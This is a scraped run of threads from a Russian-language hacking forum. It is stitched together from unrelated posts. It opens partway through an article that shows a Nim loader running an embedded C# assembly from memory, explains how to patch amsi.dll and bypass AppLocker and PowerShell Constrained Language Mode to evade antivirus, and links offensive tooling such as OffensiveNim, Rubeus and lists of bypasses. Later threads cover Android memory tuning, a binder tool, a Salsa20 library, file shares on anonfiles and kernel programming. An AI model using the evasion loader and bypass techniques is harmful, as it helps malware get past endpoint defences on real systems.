x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]

var assembly = load(buf)

var cmd: seq[string]
var i = 1
while i <= paramCount():
    cmd.add(paramStr(i))
    inc(i)
var arr = toCLRVariant(cmd, VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

Я удалил обход AMSI и сделал несколько замен строк, чтобы обойти его здесь. Кстати, если ваша сборка C # обнаружена AMSI, вы получите следующее сообщение об ошибке из двоичного файла Nim:

Error: unhandled exception: unable to invoke specified member: Load (0x80131604) [CLRError]

Click to expand...

Если вам лень использовать обфускацию C# или создать свой собственный загрузчик Nim, включая зашифрованный, но не обфусцированный двоичный файл C#, расшифрованный во время выполнения, вы также можете использовать код шаблона OffensiveNim amsi_patch_bin.nim перед строкой EntryPoint.Invoke. Это будет выглядеть примерно так и исправляет amsi.dll перед загрузкой сборки .NET.

Чтобы объединить первую главу с этой - наш новый двоичный файл PSBypassCLM Nim также мог быть использован в моем задании:

6.jpg

Заключение

Мы узнали, что такое Constrained Language Mode и Applocker и как их обойти. Обход Constrained Language Mode в основном связан с прямым взаимодействием с .NET API вместо использования собственного Powershell.exe. Обход Applocker сильно зависит от используемой конфигурации. Конфигурация, содержащая каждую политику, может быть просмотрена любым зарегистрированным пользователем и впоследствии проанализирована на наличие слабых мест. Использование политики Applocker по умолчанию приводит к появлению множества общедоступных методов обхода с использованием собственных инструментов Windows, таких как Msbuild.exe, rundll32.exe и так далее. Я настоятельно рекомендую каждому защитнику, прочитавшему это, тем не менее, включить Constrained Language Mode хотя бы на всех клиентах. Applocker с хорошей конфигурацией делает практически невозможным успешное выполнение кода любым вредоносным ПО, поэтому это также рекомендуется. Однако следует позаботиться о том, чтобы повседневная работа не имела никакого влияния, поскольку законные приложения заблокированы.

Использование Nim для целей Offensive Security имеет несколько замечательных преимуществ. Он компилируется непосредственно в C/C ++, что дает нам все преимущества этих языков. Даже без хороших навыков в C/C ++ вместо него легко использовать Nim и получить от него ценный двоичный код C. Репозиторий OffensiveNim byt3bl33d3r предлагает множество примеров шаблонов, начиная от простого MessageBox, встраивания кода C в Nim, подмены PPID и BlockDLL, выполнения шелл-кода и многого другого до рефлексивного выполнения сборок .NET из памяти. Мы сосредоточились на создании байтового массива Nim из любого двоичного кода C#, чтобы создать собственный скомпилированный на C двоичный файл с шаблоном execute_assembly_bin.nim. Мы увидели, как анализировать параметры в Nim, а затем передавать их в сборку C#. И последнее, но не менее важное: мы использовали шаблон Nim AMSI для исправления amsi.dll перед загрузкой сборки .NET из памяти.

Перенос существующих инструментов на другой язык МОЖЕТ быть использован для AV-Evasion, но я думаю, что появление подписей для шаблонов OffensiveNim - это лишь вопрос времени. Поэтому рекомендуется настроить их и/или скрыть сборки .NET перед их внедрением.

**Ссылки и ресурсы

- OffensiveNim -https://github.com/byt3bl33d3r/OffensiveNim
- Constrained Language Mode - <https://devblogs.microsoft.com/powershell/powershell-constrained-language- mode/>
- Powershell Runspace - [https://docs.microsoft.com/en-us/po...owershell- host-quickstart?view=powershell-7.1](https://docs.microsoft.com/en- us/powershell/scripting/developer/hosting/windows-powershell-host- quickstart?view=powershell-7.1)
- PSByPassCLM - https://github.com/padovah4ck/PSByPassCLM
- PowerShdll - https://github.com/p3nt4/PowerShdll
- InsecurePowershell - https://github.com/cobbr/InsecurePowerShell
- PowerLessShell - https://github.com/Mr-Un1k0d3r/PowerLessShell
- MSBuildShell - https://github.com/Cn33liz/MSBuildShell
- Applocker - [https://docs.microsoft.com/en-us/wi...plication- control/applocker/what-is-applocker](https://docs.microsoft.com/en- us/windows/security/threat-protection/windows-defender-application- control/applocker/what-is-applocker)
- Generic Applocker bypass - <https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic- AppLockerbypasses.md>
- Verified Applocker bypass - https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
- Find writable PATH Environment variable locations - https://gist.github.com/wdormann/eb714d1d935bf454eb419a34be266f6f
- Connected Devices Platform Service (CDPSvc) DLL Hijack - <http://zeifan.my/security/eop/2019/11/05/windows-service-host-process- eop.html>
- Windows 10 Task Scheduler service DLL Hijack - <https://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task- schedulerservice.html>
- Windows Server 2008R2 - 2019 NetMan DLL Hijacking https://itm4n.github.io/windows-server-netman-dll-hijacking/
- UsoDllLoader - https://github.com/itm4n/UsoDllLoader
- WerTrigger - https://github.com/sailay1996/WerTrigger
- Faxhell - https://github.com/ionescu007/faxhell
- FileWrite2System - https://github.com/sailay1996/awesome_windows_logical_bugs/blob/master/FileWrite2system.txt
- IlSpy - https://github.com/icsharpcode/ILSpy
- dnSpy - https://github.com/dnSpy/dnSpy
- Ida Pro - https://www.hex-rays.com/products/ida/
- Ghidra - https://ghidra-sre.org/
- execute_assembly_bin.nim template - https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_assembly_bin.nim
- Rubeus - https://github.com/GhostPack/Rubeus
- Nim execute assembly + AMSI bypass gist - https://gist.github.com/S3cur3Th1sSh1t/06733ce759fe8844fc2ce7b3c609bfd5
**

Поддержка длинных путей
ID: 6765d804b4103b69df3759f4
Thread ID: 46440
Created: 2021-01-07T18:37:05+0000
Last Post: 2021-01-07T21:01:59+0000
Author: html5
Replies: 10 Views: 1K

Здравствуйте. Возник вопрос по выделению памяти на стеке под пути. В Windows 10, начиная с версии 1607 можно включить поддержку длинных путей по дефолту, следовательно ограничение в MAX_PATH символов теряет смысл. Как универсально поддерживать длинные пути? Выделять в стеке 32767 символов под каждый путь глупо, как и постоянно выделять память динамически.

Уменьшение потребления памяти для Android приложения
ID: 6765d804b4103b69df3759f6
Thread ID: 46358
Created: 2021-01-05T12:05:05+0000
Last Post: 2021-01-05T12:05:05+0000
Author: danyrusdem
Prefix: Статья
Replies: 0 Views: 1K

Как говорят в фильмах,основано на реальных событиях.Когда я работал над android проектом я столкнулся с ситуацией когда мне нужно было достичь 2-3 кратного уменьшения потребления оперативной памяти.Каждый мегабайт имел значение.
Мы начинали со 100-150Мб ОЗУ что вполне нормально для android приложения,но цель была сделать потребление меньше 70Мб дабы оно плавно запускалось на целевом девайсе.После просмотра кода,чистки переменных,оптимизации мы были в диапазоне от 110-130Мб.
Так что я решил поделиться 4 главными шагами которые помогут достичь потребления в 50-70Мб и сделать так что-бы прожористое приложение работало эффективно.
Дисклеймер - когда оптимизируешь производительность ты используешь лучшие методы и архитектурный подход как правило использование главных потоковых библиотек входит в твой "стандартный набор" :MVVM, Dagger, Retrofit, Glide, Kotlin, Jetpack libraries.
До запуска приложения :
1 yAIC3z9znwtTt7X1CC511Q.png

После запуска приложения:

1 5T3f2Vq6RAgRg-2sQN3ZYA.png
1-й шаг
Первый шаг это проверка на утечки памяти.Я верю что лучше всего начать оптимизацию с уверенности в отсутствии утечек памяти так как они могут уменьшить ваш объем работы по эффективному использованию памяти.
Вы можете использовать проект под названием "Leak Canary".

Spoiler: Leak Canary

LeakCanary

A memory leak detection library for Android

square.github.io square.github.io

Посмотри эту статью

Spoiler: Все об утечках памяти в android

proandroiddev.com

[ Everything you need to know about Memory Leaks in android.

](https://proandroiddev.com/everything-you-need-to-know-about-memory-leaks-in- android-d7a59faaf46a)

One of the core benefits of Java that they are garbage collected language. Essentially, we can create objects and the garbage collector…

proandroiddev.com proandroiddev.com

Ты можешь пометить "подозрительные" места своего кода запустив profiler в android studio.Выполняя определенные действия в приложении, наблюдайте за поведением памяти.
Что бы дать вам конкретный пример, у нас была утечка на задней кнопке. При нажатии вперед и назад использование памяти приложением резко увеличивалось, хотя предполагалось, что оно останется примерно таким же. Будьте бдительны, если ваша память продолжает увеличиваться и никогда не возвращается к более низким числам.
Далее изучите использование графики и растровых изображений. Наиболее требовательными к памяти в мобильных приложениях обычно являются графика и изображения. Поскольку наше приложение очень насыщено изображениями, мы оптимизировали его больше всего.
Если ты используешь BitMap напрямую то главное чего стоит опасаться ошибки OutOfMemory Exception.Что-бы её предотвратить ты должен кэшировать,изменить размер,переработать BitMap'ы когда закончил их использовать.
В нашем случаи мы использовали библиотеку Glide для загрузки изображений эта библиотека гарантирует работы "из коробки". Хоть и Glide помогает оптимизировать использование изображений, нам пришлось кое-что сделать, чтобы сделать его более эффективным.

Spoiler: Glide

github.com

bumptech/glide

An image loading and caching library for Android focused on smooth scrolling - bumptech/glide

github.com github.com

Примечание. На мой взгляд, Glide - самая эффективная библиотека для загрузки изображений. Раньше мы использовали Picasso, но Glide намного лучше. В Интернете есть статьи, которые явно демонстрируют лучшую производительность Glide.
Оптимизации Glide
Использование RGB_565 вместо ARGB_8888 для маломощных устройств. В Glide v4 формат ARGB_8888 включен по умолчанию. Это обеспечивает более гладкое изображение, особенно в случаях градиента. Но на меньшем экране это не так заметно. Использование RGB_565 позволило сэкономить память до 2-х раз на изображениях.
Чтобы отключить его, вам нужно будет создать собственный класс GlideModule, который будет генерировать класс GlideApp, а затем его нужно использовать вместо ссылки Glide по умолчанию.

Java:Copy to clipboard

//custom GlideModule class
@GlideModule
class CustomGlideModuleV4 : AppGlideModule() {

    override fun applyOptions(context: Context, builder: GlideBuilder) {
        builder.setDefaultRequestOptions(
            RequestOptions().format(DecodeFormat.PREFER_RGB_565)
        )
    }

}//sample usage
GlideApp.with(view.context)
    .load("$imgUrl$IMAGE_URL_SIZE_SPEC")
    .into(view)

Удаляйте кеш при нехватке памяти. Создайте собственный класс приложения и переопределите метод onTrimMemory.

Java:Copy to clipboard

override fun onTrimMemory(level: Int) {
    GlideApp.with(applicationContext).onTrimMemory(TRIM_MEMORY_MODERATE)
    super.onTrimMemory(level)
}

Отмените загрузки в переработчике, если представление больше не отображаются.
Некоторые люди могут не знать, но переработчик предоставляет callback при повторном использовании представления. Если загрузка выполняется, когда просмотр был переработан, это может быть пустой тратой ваших ресурсов. Мы можем очистить это так:

Java:Copy to clipboard

override fun onViewRecycled(holder: ViewHolder) {
    holder.binding?.imageItem?.let {
        GlideApp.with(it.context).clear(it)
    }
    super.onViewRecycled(holder)
}

Уменьшите размер изображения. В качестве примера мы можем использовать что-то подобное для изменения размера изображения:

Java:Copy to clipboard

Glide
    .with(context)
    .load(url)
    .apply(new RequestOptions().override(600, 200))
    .into(imageView);

Про оптимизации Glide можете посмотреть тут:

Spoiler: Оптимизации Glide

proandroiddev.com

[ How to optimize memory consumption when using Glide

](https://proandroiddev.com/how-to-optimize-memory-consumption-when-using- glide-9ac984cfe70f)

For developers of the apps which a lot of images, the one thing is certain besides death and taxes: OutOfMemory errors (OOM). Facing these…

proandroiddev.com proandroiddev.com

Проверьте ваши Room операции.Использование базы данных Room предоставляет разработчикам полезную функцию возврата LiveData, которую вы можете наблюдать и получать уведомления об изменениях в вашей таблице. Однако, присмотревшись к нему, мы обнаружили, что экземпляр LiveData получает уведомления чаще, чем ожидалось. Были ложные срабатывания уведомлений для наблюдаемых запросов. Google предлагает решение в виде функции расширения (что кажется ошибкой в LiveData), в любом случае после использования расширения мы увидели заметное улучшение производительности, поскольку мы широко используем Room для локального варианта использования корзины покупок.

Spoiler: Room

![developer.android.com](/proxy.php?image=https%3A%2F%2Fdeveloper.android.com%2Fimages%2Fsocial%2Fandroid- developers.png&hash=b43e144815ef99152d1eef86aed1e96a&return_error=1)

Save data in a local database using Room | Android Developers

Learn to persist data more easily using the Room Library

![developer.android.com](/proxy.php?image=https%3A%2F%2Fwww.gstatic.com%2Fdevrel- devsite%2Fprod%2Fveaa02889f0c07424beaa31d9bac1e874b6464e7ed7987fde4c94a59ace9487fa%2Fandroid%2Fimages%2Ffavicon.png&hash=e08ba10a4baacc362ccd81d8072a4833&return_error=1) developer.android.com

Вместо прямого использования LiveData вот так:

Java:Copy to clipboard

fun getCartSubscription(): LiveData<List<CartItem>> = db.loadCart()

Мы используем расширение для фильтрации ложных срабатываний уведомлений:

Java:Copy to clipboard

fun getCartSubscription(): LiveData<List<CartItem>> = db.loadCart().getDistinct()

getDistinct() выглядит так:

Java:Copy to clipboard

/**
* Extension from Google to allow notifying UI only for distinct operations in Room
*/
fun <T> LiveData<T>.getDistinct(): LiveData<T> {
    val distinctLiveData = MediatorLiveData<T>()
    distinctLiveData.addSource(this, object : Observer<T> {
        private var initialized = false
        private var lastObj: T? = null
        override fun onChanged(obj: T?) {
            if (!initialized) {
                initialized = true
                lastObj = obj
                distinctLiveData.postValue(lastObj)
            } else if ((obj == null && lastObj != null)
                || obj != lastObj
            ) {
                lastObj = obj
                distinctLiveData.postValue(lastObj)
            }
        }
    })
    return distinctLiveData
}

Шаг 4
Проверка жизненного цикла и навигации фрагмента. Этот шаг состоит из 2 частей.
Используя новую навигационную библиотеку и шаблон единственного действия, мы поняли, что фрагменты фактически не уничтожаются, пока они находятся на графике. Сначала это кажется ошибкой библиотеки навигации, но затем после проверки похоже, что это просто поведение по умолчанию для фрагмента. (проверьте эту ветку). Так что, если он не уничтожен, то все переменные тоже не уничтожаются и, самое главное, экземпляр привязки. Это наблюдение может быть связано с общей проблемой утечки памяти, но я считаю, что оно заслуживает отдельного шага. Таким образом, после явной установки привязки на null в onDestroyView использование памяти значительно улучшилось.
И вторая часть этого шага заключалась в проверке действий навигации и обнаружении случаев создания экземпляров фрагментов, когда один уже был на графике, но недоступен. Итак, решение заключалось в том, чтобы пересмотреть всю навигацию и убедиться, что на графике нет «мертвых» фрагментов.

Еще несколько советов:
По возможности используйте определенные методы уведомления при работе с RecyclerView. Вместо вызова notifyDataSetChanged () используйте notifyItemChanged (int position)
Уменьшите количество вспомогательных классов, таких как Mappers, Verifiers, Transformers и т. Д. Создание объектов не так дорого, как раньше, но это не значит, что вам не нужно обращать внимание. Избегайте ненужных абстракций.
Уменьшите размер apk. Уменьшение размера apk поможет уменьшить объем памяти, занимаемой приложением в целом.
Не храните кучу объектов в памяти «на всякий случай» или в пулах, чтобы избежать создания объекта. Чем больше объем памяти, тем дороже запускать сборщик мусора для обхода всех этих объектов «старого поколения».
Запустите тестирование производительности в неотлаживаемой сборке, поскольку это имеет значение, и вы можете не получить правильные результаты, поскольку отлаживаемые сборки еще не оптимизированы ... пока.
Анимация требует памяти. Отрежьте анимацию, если цель - работать в среде с ограничением памяти.
Изучите официальную документацию по оптимизации мощности и производительности приложения, особенно по части управления памятью.

Spoiler: Оригинал

![proandroiddev.com](/proxy.php?image=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1024%2F1%2AxVW83uxGFU9MhfuUkm- rEg.jpeg&hash=1cd4128d0a044fcca0ec0d283c8ecc54&return_error=1)

[ Decrease memory usage of your Android app in half

](https://proandroiddev.com/decrease-memory-usage-of-your-android-app-in- half-a65524d7380b)

I would like to share 4 main steps that ultimately helped get our app memory usage cut in half and some useful tips

proandroiddev.com proandroiddev.com

Gray Hat C# [ENG]
ID: 6765d804b4103b69df3759f7
Thread ID: 46313
Created: 2021-01-04T17:41:20+0000
Last Post: 2021-01-04T17:41:20+0000
Author: freezdone
Prefix: Мануал/Книга
Replies: 0 Views: 1K

Книга Gray Hat C# - Оригинал на английском
1609781835285.png

Hidden content for authorized users.

Скачать с anonfiles

[C#] ILibPack - Binder Dll ( слияние ваших .dll в единый файл )
ID: 6765d804b4103b69df3759f8
Thread ID: 41003
Created: 2020-08-17T06:25:28+0000
Last Post: 2020-12-30T14:32:25+0000
Author: r3xq1
Replies: 1 Views: 1K

Умный репакер для добавления библиотек в исполняемый файл (.exe) - работает через ILRepacker
Добавляет только библиотеки на базе .Net Framework
Умеет распознавать console и winforms приложения

1597645469401.png

После перепаковки всё отлично читается

1597645481782.png

Скачать архив с исходниками можно по этим ссылкам:
[1] - https://yadi.sk/d/8AjVl9SZPVC3tQ
[2] - https://mega.nz/file/nKgBnSIL#uu6QRyQDJypaT5U9-f0PntroG1gUS7z2GmC5amPQ59g
[3] - https://github.com/r3xq1/ILibPack

Salsa20 C headers-only library
ID: 6765d804b4103b69df3759fd
Thread ID: 45792
Created: 2020-12-21T03:37:31+0000
Last Post: 2020-12-25T19:42:48+0000
Author: GlowingOne
Replies: 11 Views: 1K

Source:

hxxps://cr.yp.to/snuffle.html

usage:

Code:Copy to clipboard

#include "ecrypt-synch.h"

int main(){
ECRYPT_ctx ctx;
   unsigned char plaintext[1024] = "Test";
   unsigned char receiver[1024];
    u8 key[ECRYPT_MAXKEYSIZE / 8],  IV[ECRYPT_MAXIVSIZE/8],  ciphertext[1024], * result;
    memset(key, 0, ECRYPT_MAXKEYSIZE / 8);
    memset(key, 0, ECRYPT_MAXIVSIZE / 8);
    ECRYPT_init();
    ECRYPT_keysetup(&ctx, key, ECRYPT_MAXKEYSIZE, ECRYPT_MAXIVSIZE);
    ECRYPT_ivsetup(&ctx, IV);
    ECRYPT_encrypt_blocks(&ctx, plaintext, ciphertext, 16);
    ECRYPT_ivsetup(&ctx, IV);
    ECRYPT_decrypt_blocks(&ctx, ciphertext, receiver, 16);
    return 0;
}

Remarks:

calling "ECRYPT_encrypt_bytes" should be done when encrypting fixed-length messages. For encrypting chunks, use the ECRYPT_encrypt_blocks macro, like in the example, because ECRYPT_encrypt_bytes can be called only once for key. Since the code is well-documented, i suggest to read "ecrypt-sync.h" for further informations.

Download:

hxxps://anonfiles.com/36H0f310pe/salsa20_rar

C++ send UNICODE?
ID: 6765d804b4103b69df3759ff
Thread ID: 43960
Created: 2020-11-05T17:32:29+0000
Last Post: 2020-12-22T18:33:48+0000
Author: bnetmstr
Replies: 8 Views: 1K

Privet, kto moshit pomo4 s otprawkaj UNICODA s send()

Funkzuja:

Code:Copy to clipboard

BOOL Send(SOCKET s,PCHAR lpData,int dwLen)
{
    if (dwLen == -1)
        dwLen=lstrlenA(lpData);

    return (send(s,lpData,dwLen,0) == dwLen);
}


char szBuf[1024];

Send(s, "Hi",  -1);
Обзорный перевод/пересказ книги Windows Kernel Programming
ID: 6765d804b4103b69df375a00
Thread ID: 45856
Created: 2020-12-22T08:12:00+0000
Last Post: 2020-12-22T08:12:00+0000
Author: X-Shar
Prefix: Мануал/Книга
Replies: 0 Views: 1K

Всем привет, закончил "Обзорный перевод/пересказ книги" Windows Kernel Programming.

Данная работа была интересна некоторым посетителям этого ресурса, поэтому решил создать такую тему тут.

Есть также тема https://xss.is/threads/44171/ где Azrv3l выкладывал части переводов, если кто-то хочет их выкладывал, либо менять и исправлять ошибки, то я не возражаю, так даже будет лучше.)))

Само качество перевода конечно не самое хорошее, это не уровень редакции, да и перевод делал больше для себя, а последние две главы практически не вычитывал, т.к. хотел по быстрее закончить перевод, по причине, что понял, что даже такой превод требует больших как энергозатрат, так и времени.

Более-того понял, что смысла вот так читать книги "От корки, до корки" нет, а нужно читать темы, которые нужны конкретно для решения задач,**да конечно не плохо прочитать такую книгу, даже кто не собирается писать драйвера, т.к. в книге показано много трюков С++, которые можно использовать в своих прикладных программах.

Также данная книга будет полезна, кто хочет участвовать или участвует в разработке защитных решений для Windows, такие как беккапы, антивирусы и т.д.

Также в книге можно немного поизучать недокументированные API винды.
**
Но к сожалению данная книга направлена на совсем новичков в теме, и даёт только набор каких-то базовых знаний и в ней не рассмотрены многие моменты, в частности, что интересно было-бы мне:

• Аппаратные драйверы устройств.
• Сетевые драйверы и фильтры.

Тут я понял, что часто проще даже разобраться на примерах, нежели читать статьи, у Майкрософт есть неплохой репозиторий microsoft/Windows-driver- samples

В этом репозитории примеры драйверов, которые можно использовать как каркасы, даже сам автор книги рекомендовал его смотреть.)

В общем как-то так вкратце, кому тема интересна, всем удачи в изучении системной разработки для Windows.

Ну и почитать переводы можно в гите:https://github.com/XShar/Windows_Kernel_Programming/find/master

Либо вот тут темы:

Spoiler: Ссылки на темы глав

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)

[ Windows Kernel Programming:Глава 1.Основные моменты и архитектура ядра

](https://ru-sfera.org/threads/windows-kernel-programming-glava-1-osnovnye- momenty-i-arxitektura-jadra.3943/)

В этом репозитории будут размещаться мой "обзорный пересказ/перевод" книги Windows Kernel Programming (leanpub.com/windowskernelprogramming), от Павла Иосивича. Оригинал книги можно купить по ссылке выше. Далее что здесь будет выкладываться и зачем: Хочу отметит, что содержимое может...

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)

[ Windows Kernel Programming:Глава 2.Начало работы с инструментами

разработчика ядра ](https://ru-sfera.org/threads/windows-kernel-programming- glava-2-nachalo-raboty-s-instrumentami-razrabotchika-jadra.3945/)

Это вторая часть, с первой частью можно ознакомиться здесь:Windows Kernel Programming:Глава 1.Основные моменты и архитектура ядра В этой главе рассматриваются основы, которые необходимы для разработки драйверов. Вы установите необходимые инструменты и напишете первый драйвер, который можно...

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)

[ Windows Kernel Programming:Глава 3.Основы программирования ядра windows

](https://ru-sfera.org/threads/windows-kernel-programming-glava-3-osnovy- programmirovanija-jadra-windows.3949/)

Предыдущие версии глав: https://ru-sfera.org/threads/windows-kernel- programming-glava-1-osnovnye-momenty-i-arxitektura-jadra.3943/ https://ru- sfera.org/threads/windows-kernel-programming-glava-2-nachalo-raboty-s- instrumentami-razrabotchika-jadra.3945/ В этой главе мы углубимся в API, структуры и...

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)

[ Windows Kernel Programming:Глава 4. Драйвер и взаимодействие с ним из

пользовательского режима ](https://ru-sfera.org/threads/windows-kernel- programming-glava-4-drajver-i-vzaimodejstvie-s-nim-iz-polzovatelskogo- rezhima.3953/)

В этой главе мы будем использовать многие концепции, которые мы изучили в предыдущих главах, и создадим простой драйвер. Также в этой главе создадим клиент, для взаимодействия с нашим драйвером. Мы установим драйвер и выполним в режиме ядра некоторую операцию, недоступную пользовательский...

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)

[ Windows Kernel Programming:Глава 5.Изучение отладчиков ](https://ru-

sfera.org/threads/windows-kernel-programming-glava-5-izuchenie- otladchikov.3983/)

Как и в любом программном обеспечении, драйверы ядра обычно имеют ошибки. Отладка драйверов, в отличие от пользовательского режима, более сложный процесс. Отладка драйвера по сути отладка всей системы, не просто конкретного процесса или процессов. Это требует другого мышления. В этой главе будет...

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)

[ Windows Kernel Programming:Глава 6.Механизмы ядра ](https://ru-

sfera.org/threads/windows-kernel-programming-glava-6-mexanizmy-jadra.4109/)

В этой главе обсуждаются различные механизмы, предоставляемые ядром Windows. Некоторые из них полезны для написания драйверов. Другие - это механизмы, которые разработчик драйвера должен понимать, так – как это помогает делать отладку и дает общие понимание устройства системы. В этой главе: •...

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)

[ Windows Kernel Programming:Глава 7:Пакет запроса ввода/вывода

](https://ru-sfera.org/threads/windows-kernel-programming-glava-7-paket- zaprosa-vvoda-vyvoda.4140/)

После того, как типичный драйвер завершает свою инициализацию в DriverEntry, его основная задача — обрабатывать запросы. Эти запросы упакованы в виде полудокументированной структуры пакета запроса ввода-вывода (IRP). В этой главе мы более подробно рассмотрим пакеты IRP и то, как драйвер...

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)

[ Windows Kernel Programming:Глава 8:Процессы и потоки, уведомления

](https://ru-sfera.org/threads/windows-kernel-programming-glava-8-processy-i- potoki-uvedomlenija.4143/)

Один из мощных механизмов, доступных для драйверов ядра - это возможность получать уведомления, когда происходят важные события. В этой главе мы рассмотрим некоторые из этих событий, а именно создание процесса. А также создание и разрушение потоков и загрузка образов. В этой главе: •...

